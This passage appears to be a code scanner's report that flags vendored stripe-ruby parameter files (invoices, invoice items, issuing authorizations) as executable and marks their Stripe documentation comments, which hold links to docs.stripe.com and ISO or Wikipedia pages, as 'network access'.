    # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. One of `product` or `product_data` is required.
  • Network accessline 69
    # Data used to generate a new [Product](https://docs.stripe.com/api/products) object inline. One of `product` or `product_data` is required.
  • Network accessline 71
    # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co
  • Network accessline 106
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 120
    # [ISO 3166-2 subdivision code](https://en.wikipedia.org/wiki/ISO_3166-2:US), without country prefix. For example, "NY" for New York, United States.
  • Network accessline 175
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 177
    # The period associated with this invoice item. When set to different values, the period will be rendered on the invoice. If you have [Stripe Revenue Recognition](https://docs.stripe.com/revenue-recognition) enabled, the period will be used
  • Network accessline 179
    # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline.
  • Network accessline 185
    # A list of up to 10 tax amounts for this line item. This can be useful if you calculate taxes on your own or use a third-party to calculate them. You cannot set tax amounts if any line item has [tax_rates](https://docs.stripe.com/api/invoi
  • Network accessline 220
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/invoice_attach_payment_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/invoice_create_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 18
    # Whether Stripe automatically computes tax on this invoice. Note that incompatible invoice items (invoice items with manually specified [tax rates](https://docs.stripe.com/api/tax_rates), negative amounts, or `tax_behavior=unspecified`) ca
  • Network accessline 139
    # Installment configuration for payments attempted on this invoice.           #           # For more information, see the [installments integration guide](https://docs.stripe.com/payments/installments).
  • Network accessline 141
    # For more information, see the [installments integration guide](https://docs.stripe.com/payments/installments).
  • Network accessline 143
    # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-authentication). However, if you wish to 
  • Network accessline 281
    # The list of payment method types (e.g. card) to provide to the invoice’s PaymentIntent. If not set, Stripe attempts to automatically determine the types to use by looking at the invoice’s default payment method, the subscription’s default
  • Network accessline 370
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 372
    # Shipping rates defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 387
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 391
    # A [tax code](https://docs.stripe.com/tax/tax-categories) ID. The Shipping tax code is `txcd_92010001`.
  • Network accessline 429
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 437
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 483
    # A fee in cents (or local equivalent) that will be applied to the invoice and transferred to the application owner's Stripe account. The request must be made with an OAuth key or the Stripe-Account header in order to take an application fe
  • Network accessline 485
    # Controls whether Stripe performs [automatic collection](https://docs.stripe.com/invoicing/integration/automatic-advancement-collection) of the invoice. If `false`, the invoice's state doesn't automatically advance without an explicit acti
  • Network accessline 521
    # Revise an existing invoice. The new invoice will be created in `status=draft`. See the [revision documentation](https://docs.stripe.com/invoicing/invoice-revisions) for more details.
  • Network accessline 525
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 529
    # The account (if any) for which the funds of the invoice payment are intended. If set, the invoice will be presented with the branding and support information of the specified account. See the [Invoices with Connect](https://docs.stripe.co

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/invoice_create_preview_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 18
    # Whether Stripe automatically computes tax on this invoice. Note that incompatible invoice items (invoice items with manually specified [tax rates](https://docs.stripe.com/api/tax_rates), negative amounts, or `tax_behavior=unspecified`) ca
  • Network accessline 33
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 41
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 65
    # A freeform text field for the country. However, in order to activate some tax features, the format should be a two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 73
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 190
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 192
    # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to.
  • Network accessline 194
    # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co
  • Network accessline 217
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). Only applicable to new invoice items.
  • Network accessline 227
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 229
    # The period associated with this invoice item. When set to different values, the period will be rendered on the invoice. If you have [Stripe Revenue Recognition](https://docs.stripe.com/revenue-recognition) enabled, the period will be used
  • Network accessline 233
    # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required.
  • Network accessline 237
    # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co
  • Network accessline 239
    # A [tax code](https://docs.stripe.com/tax/tax-categories) ID.
  • Network accessline 371
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 373
    # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to.
  • Network accessline 375
    # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co
  • Network accessline 398
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 404
    # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required.
  • Network accessline 520
    # Number of units that meets the billing threshold to advance the subscription to a new billing period (e.g., it takes 10 $5 units to meet a $50 [monetary threshold](https://docs.stripe.com/api/subscriptions/update#update_subscription-billi
  • Network accessline 555
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 557
    # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to.
  • Network accessline 561
    # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co
  • Network accessline 588
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to a configuration item. Metadata on a configuration item will update the underlying subscription item's `metadata` when the phase is entered, adding new k
  • Network accessline 594
    # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline.
  • Network accessline 598
    # A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will override the [`default_tax_rates`](https://docs.stripe.com/api/subscriptions/create#create_subscription-default_tax_rates) on the Subscription. When upd
  • Network accessline 635
    # A non-negative decimal between 0 and 100, with at most two decimal places. This represents the percentage of the subscription invoice total that will be transferred to the application owner's Stripe account. The request must be made by a 
  • Network accessline 639
    # Can be set to `phase_start` to set the anchor to the start of the phase or `automatic` to automatically change it if needed. Cannot be set to `phase_start` if this phase specifies a trial. For more information, see the billing cycle [docu
  • Network accessline 645
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 649
    # A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will set the Subscription's [`default_tax_rates`](https://docs.stripe.com/api/subscriptions/create#create_subscription-default_tax_rates), which means they w
  • Network accessline 663
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to a phase. Metadata on a schedule's phase will update the underlying subscription's `metadata` when the phase is entered, adding new keys and replacing ex
  • Network accessline 667
    # Controls whether the subscription schedule should create [prorations](https://docs.stripe.com/billing/subscriptions/prorations) when transitioning to this phase if there is a difference in billing configuration. It's different from the re
  • Network accessline 766
    # Number of units that meets the billing threshold to advance the subscription to a new billing period (e.g., it takes 10 $5 units to meet a $50 [monetary threshold](https://docs.stripe.com/api/subscriptions/update#update_subscription-billi
  • Network accessline 801
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 803
    # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to.
  • Network accessline 807
    # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co
  • Network accessline 840
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 846
    # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required.
  • Network accessline 850
    # A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will override the [`default_tax_rates`](https://docs.stripe.com/api/subscriptions/create#create_subscription-default_tax_rates) on the Subscription. When upd
  • Network accessline 879
    # For new subscriptions, a future timestamp to anchor the subscription's [billing cycle](https://docs.stripe.com/subscriptions/billing-cycle). This is used to determine the date of the first full invoice, and, for plans with `month` or `yea
  • Network accessline 893
    # Determines how to handle [prorations](https://docs.stripe.com/billing/subscriptions/prorations) when the billing cycle changes (e.g., when switching plans, resetting `billing_cycle_anchor=now`, or starting a trial), or if an item's `quant
  • Network accessline 950
    # The account (if any) for which the funds of the invoice payment are intended. If set, the invoice will be presented with the branding and support information of the specified account. See the [Invoices with Connect](https://docs.stripe.co

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/invoice_delete_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/invoice_finalize_invoice_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 6
    # Controls whether Stripe performs [automatic collection](https://docs.stripe.com/invoicing/integration/automatic-advancement-collection) of the invoice. If `false`, the invoice's state doesn't automatically advance without an explicit acti

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/invoice_item_create_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 34
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 36
    # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to.
  • Network accessline 38
    # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co
  • Network accessline 70
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 86
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 88
    # The period associated with this invoice item. When set to different values, the period will be rendered on the invoice. If you have [Stripe Revenue Recognition](https://docs.stripe.com/revenue-recognition) enabled, the period will be used
  • Network accessline 90
    # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline.
  • Network accessline 98
    # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co
  • Network accessline 100
    # A [tax code](https://docs.stripe.com/tax/tax-categories) ID.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/invoice_item_delete_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/invoice_item_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/invoice_item_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/invoice_item_update_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 34
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 36
    # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to.
  • Network accessline 38
    # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co
  • Network accessline 78
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 80
    # The period associated with this invoice item. When set to different values, the period will be rendered on the invoice. If you have [Stripe Revenue Recognition](https://docs.stripe.com/revenue-recognition) enabled, the period will be used
  • Network accessline 82
    # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline.
  • Network accessline 88
    # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co
  • Network accessline 90
    # A [tax code](https://docs.stripe.com/tax/tax-categories) ID.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/invoice_line_item_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/invoice_line_item_update_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 39
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 43
    # A [tax code](https://docs.stripe.com/tax/tax-categories) ID.
  • Network accessline 64
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 66
    # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. One of `product` or `product_data` is required.
  • Network accessline 68
    # Data used to generate a new [Product](https://docs.stripe.com/api/products) object inline. One of `product` or `product_data` is required.
  • Network accessline 70
    # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co
  • Network accessline 105
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 119
    # [ISO 3166-2 subdivision code](https://en.wikipedia.org/wiki/ISO_3166-2:US), without country prefix. For example, "NY" for New York, United States.
  • Network accessline 174
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 176
    # The period associated with this invoice item. When set to different values, the period will be rendered on the invoice. If you have [Stripe Revenue Recognition](https://docs.stripe.com/revenue-recognition) enabled, the period will be used
  • Network accessline 178
    # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline.
  • Network accessline 184
    # A list of up to 10 tax amounts for this line item. This can be useful if you calculate taxes on your own or use a third-party to calculate them. You cannot set tax amounts if any line item has [tax_rates](https://docs.stripe.com/api/invoi

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/invoice_list_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 59
    # The status of the invoice, one of `draft`, `open`, `paid`, `uncollectible`, or `void`. [Learn more](https://docs.stripe.com/billing/invoices/workflow#workflow-overview)

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/invoice_mark_uncollectible_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/invoice_pay_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/invoice_payment_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/invoice_payment_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/invoice_remove_lines_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 19
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/invoice_rendering_template_archive_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/invoice_rendering_template_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/invoice_rendering_template_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/invoice_rendering_template_unarchive_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/invoice_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/invoice_search_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 12
    # The search query string. See [search query language](https://docs.stripe.com/search#search-query-language) and the list of supported [query fields for invoices](https://docs.stripe.com/search#query-fields-for-invoices).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/invoice_send_invoice_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/invoice_update_lines_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 40
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 44
    # A [tax code](https://docs.stripe.com/tax/tax-categories) ID.
  • Network accessline 65
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 67
    # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. One of `product` or `product_data` is required.
  • Network accessline 69
    # Data used to generate a new [Product](https://docs.stripe.com/api/products) object inline. One of `product` or `product_data` is required.
  • Network accessline 71
    # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co
  • Network accessline 106
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 120
    # [ISO 3166-2 subdivision code](https://en.wikipedia.org/wiki/ISO_3166-2:US), without country prefix. For example, "NY" for New York, United States.
  • Network accessline 175
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 177
    # The period associated with this invoice item. When set to different values, the period will be rendered on the invoice. If you have [Stripe Revenue Recognition](https://docs.stripe.com/revenue-recognition) enabled, the period will be used
  • Network accessline 179
    # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline.
  • Network accessline 185
    # A list of up to 10 tax amounts for this line item. This can be useful if you calculate taxes on your own or use a third-party to calculate them. You cannot set tax amounts if any line item has [tax_rates](https://docs.stripe.com/api/invoi
  • Network accessline 220
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/invoice_update_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 18
    # Whether Stripe automatically computes tax on this invoice. Note that incompatible invoice items (invoice items with manually specified [tax rates](https://docs.stripe.com/api/tax_rates), negative amounts, or `tax_behavior=unspecified`) ca
  • Network accessline 127
    # Installment configuration for payments attempted on this invoice.           #           # For more information, see the [installments integration guide](https://docs.stripe.com/payments/installments).
  • Network accessline 129
    # For more information, see the [installments integration guide](https://docs.stripe.com/payments/installments).
  • Network accessline 131
    # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-authentication). However, if you wish to 
  • Network accessline 269
    # The list of payment method types (e.g. card) to provide to the invoice’s PaymentIntent. If not set, Stripe attempts to automatically determine the types to use by looking at the invoice’s default payment method, the subscription’s default
  • Network accessline 358
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 360
    # Shipping rates defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 375
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 379
    # A [tax code](https://docs.stripe.com/tax/tax-categories) ID. The Shipping tax code is `txcd_92010001`.
  • Network accessline 417
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 425
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 471
    # A fee in cents (or local equivalent) that will be applied to the invoice and transferred to the application owner's Stripe account. The request must be made with an OAuth key or the Stripe-Account header in order to take an application fe
  • Network accessline 473
    # Controls whether Stripe performs [automatic collection](https://docs.stripe.com/invoicing/integration/automatic-advancement-collection) of the invoice.
  • Network accessline 505
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 509
    # The account (if any) for which the funds of the invoice payment are intended. If set, the invoice will be presented with the branding and support information of the specified account. See the [Invoices with Connect](https://docs.stripe.co

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/invoice_void_invoice_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/authorization_approve_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 7
    # If the authorization's `pending_request.is_amount_controllable` property is `true`, you may provide this value to control how much to hold for the authorization. Must be positive (use [`decline`](https://docs.stripe.com/api/issuing/author
  • Network accessline 11
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/authorization_capture_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 159
    # [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased.
  • Network accessline 243
    # The amount to capture from the authorization. If not provided, the full amount of the authorization will be captured. This amount is in the authorization currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/authorization_create_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 113
    # [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased.
  • Network accessline 140
    # A categorization of the seller's type of business. See our [merchant categories guide](https://docs.stripe.com/issuing/merchant-categories) for a list of possible values.
  • Network accessline 298
    # The total amount to attempt to authorize. This amount is in the provided currency, or defaults to the card's currency, and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 300
    # Detailed breakdown of amount components. These amounts are denominated in `currency` and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 306
    # The currency of the authorization. If not provided, defaults to the currency of the card. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/
  • Network accessline 316
    # If set `true`, you may provide [amount](https://docs.stripe.com/api/issuing/authorizations/approve#approve_issuing_authorization-amount) to control how much to hold for the authorization.
  • Network accessline 318
    # The total amount to attempt to authorize. This amount is in the provided merchant currency, and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 320
    # The currency of the authorization. If not provided, defaults to the currency of the card. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/authorization_decline_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 9
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/authorization_expire_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/authorization_finalize_amount_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 101
    # [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased.
  • Network accessline 128
    # The final authorization amount that will be captured by the merchant. This amount is in the authorization currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/authorization_increment_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 9
    # The amount to increment the authorization by. This amount is in the authorization currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 11
    # If set `true`, you may provide [amount](https://docs.stripe.com/api/issuing/authorizations/approve#approve_issuing_authorization-amount) to control how much to hold for the authorization.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/authorization_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/authorization_respond_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/authorization_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/authorization_reverse_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 9
    # The amount to reverse from the authorization. If not provided, the full amount of the authorization will be reversed. This amount is in the authorization currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/authorization_update_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 9
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/card_create_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 20
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 28
